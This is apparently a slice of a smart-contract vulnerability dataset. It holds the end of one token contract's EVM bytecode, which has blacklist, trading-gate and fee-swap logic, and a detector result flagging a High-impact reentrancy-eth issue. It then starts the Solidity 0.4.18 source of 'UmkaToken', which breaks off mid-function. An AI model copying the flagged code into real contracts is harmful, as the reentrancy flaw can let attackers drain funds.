1548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f4441444459000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220352748a3541c4802720c5b124adad359e108c20e46cc9e98644fd941a41e45f164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,686 |
0x105d97ef2e723f1cfb24519bc6ff15a6d091a3f1
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() external constant returns (uint256 _totalSupply);
function balanceOf(address _owner) external constant returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _old, uint256 _new) external returns (bool success);
function allowance(address _owner, address _spender) external constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function ERC20() internal {
}
}
library RingList {
address constant NULL = 0x0;
address constant HEAD = 0x0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList{
mapping (address => mapping (bool => address)) list;
}
/// @dev returns true if the list exists
/// @param self stored linked list from contract
function listExists(LinkedList storage self)
internal
view returns (bool)
{
// if the head nodes previous or next pointers both point to itself, then there are no items in the list
if (self.list[HEAD][PREV] != HEAD || self.list[HEAD][NEXT] != HEAD) {
return true;
} else {
return false;
}
}
/// @dev returns true if the node exists
/// @param self stored linked list from contract
/// @param _node a node to search for
function nodeExists(LinkedList storage self, address _node)
internal
view returns (bool)
{
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
/// @dev Returns the number of elements in the list
/// @param self stored linked list from contract
function sizeOf(LinkedList storage self) internal view returns (uint256 numElements) {
bool exists;
address i;
(exists,i) = getAdjacent(self, HEAD, NEXT);
while (i != HEAD) {
(exists,i) = getAdjacent(self, i, NEXT);
numElements++;
}
return;
}
/// @dev Returns the links of a node as a tuple
/// @param self stored linked list from contract
/// @param _node id of the node to get
function getNode(LinkedList storage self, address _node)
internal view returns (bool, address, address)
{
if (!nodeExists(self,_node)) {
return (false,0x0,0x0);
} else {
return (true,self.list[_node][PREV], self.list[_node][NEXT]);
}
}
/// @dev Returns the link of a node `_node` in direction `_direction`.
/// @param self stored linked list from contract
/// @param _node id of the node to step from
/// @param _direction direction to step in
function getAdjacent(LinkedList storage self, address _node, bool _direction)
internal view returns (bool, address)
{
if (!nodeExists(self,_node)) {
return (false,0x0);
} else {
return (true,self.list[_node][_direction]);
}
}
/// @dev Can be used before `insert` to build an ordered list
/// @param self stored linked list from contract
/// @param _node an existing node to search from, e.g. HEAD.
/// @param _value value to seek
/// @param _direction direction to seek in
// @return next first node beyond '_node' in direction `_direction`
function getSortedSpot(LinkedList storage self, address _node, address _value, bool _direction)
internal view returns (address)
{
if (sizeOf(self) == 0) { return 0x0; }
require((_node == 0x0) || nodeExists(self,_node));
bool exists;
address next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0x0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
/// @dev Creates a bidirectional link between two nodes on direction `_direction`
/// @param self stored linked list from contract
/// @param _node first node for linking
/// @param _link node to link to in the _direction
function createLink(LinkedList storage self, address _node, address _link, bool _direction) internal {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
/// @dev Insert node `_new` beside existing node `_node` in direction `_direction`.
/// @param self stored linked list from contract
/// @param _node existing node
/// @param _new new node to insert
/// @param _direction direction to insert node in
function insert(LinkedList storage self, address _node, address _new, bool _direction) internal returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
address c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
return true;
} else {
return false;
}
}
/// @dev removes an entry from the linked list
/// @param self stored linked list from contract
/// @param _node node to remove from the list
function remove(LinkedList storage self, address _node) internal returns (address) {
if ((_node == NULL) || (!nodeExists(self,_node))) { return 0x0; }
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
return _node;
}
/// @dev pushes an enrty to the head of the linked list
/// @param self stored linked list from contract
/// @param _node new entry to push to the head
/// @param _direction push to the head (NEXT) or tail (PREV)
function push(LinkedList storage self, address _node, bool _direction) internal {
insert(self, HEAD, _node, _direction);
}
/// @dev pops the first entry from the linked list
/// @param self stored linked list from contract
/// @param _direction pop from the head (NEXT) or the tail (PREV)
function pop(LinkedList storage self, bool _direction) internal returns (address) {
bool exists;
address adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
contract UmkaToken is ERC20 {
using SafeMath for uint256;
using RingList for RingList.LinkedList;
address public owner;
bool public paused = false;
bool public contractEnable = true;
uint256 private summarySupply;
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
mapping(address => uint256) private accounts;
mapping(address => string) private umkaAddresses;
mapping(address => mapping (address => uint256)) private allowed;
mapping(address => uint8) private group;
mapping(bytes32 => uint256) private distribution;
RingList.LinkedList private holders;
struct groupPolicy {
uint8 _default;
uint8 _backend;
uint8 _admin;
uint8 _migration;
uint8 _subowner;
uint8 _owner;
}
groupPolicy public currentState = groupPolicy(0, 3, 4, 9, 2, 9);
event EvTokenAdd(uint256 _value, uint256 _lastSupply);
event EvTokenRm(uint256 _delta, uint256 _value, uint256 _lastSupply);
event EvGroupChanged(address _address, uint8 _oldgroup, uint8 _newgroup);
event EvMigration(address _address, uint256 _balance, uint256 _secret);
event Pause();
event Unpause();
function UmkaToken(string _name, string _symbol, uint8 _decimals, uint256 _startTokens) public {
owner = msg.sender;
group[owner] = currentState._owner;
accounts[msg.sender] = _startTokens;
holders.push(msg.sender, true);
summarySupply = _startTokens;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
modifier minGroup(int _require) {
require(group[msg.sender] >= _require);
_;
}
modifier onlyGroup(int _require) {
require(group[msg.sender] == _require);
_;
}
modifier whenNotPaused() {
require(!paused || group[msg.sender] >= currentState._backend);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function servicePause() minGroup(currentState._admin) whenNotPaused public {
paused = true;
Pause();
}
function serviceUnpause() minGroup(currentState._admin) whenPaused public {
paused = false;
Unpause();
}
function serviceGroupChange(address _address, uint8 _group) minGroup(currentState._admin) external returns(uint8) {
require(_address != address(0));
uint8 old = group[_address];
if(old <= currentState._admin) {
group[_address] = _group;
EvGroupChanged(_address, old, _group);
}
return group[_address];
}
function serviceTransferOwnership(address newOwner) minGroup(currentState._owner) external {
require(newOwner != address(0));
group[newOwner] = currentState._subowner;
group[msg.sender] = currentState._subowner;
EvGroupChanged(newOwner, currentState._owner, currentState._subowner);
}
function serviceClaimOwnership() onlyGroup(currentState._subowner) external {
address temp = owner;
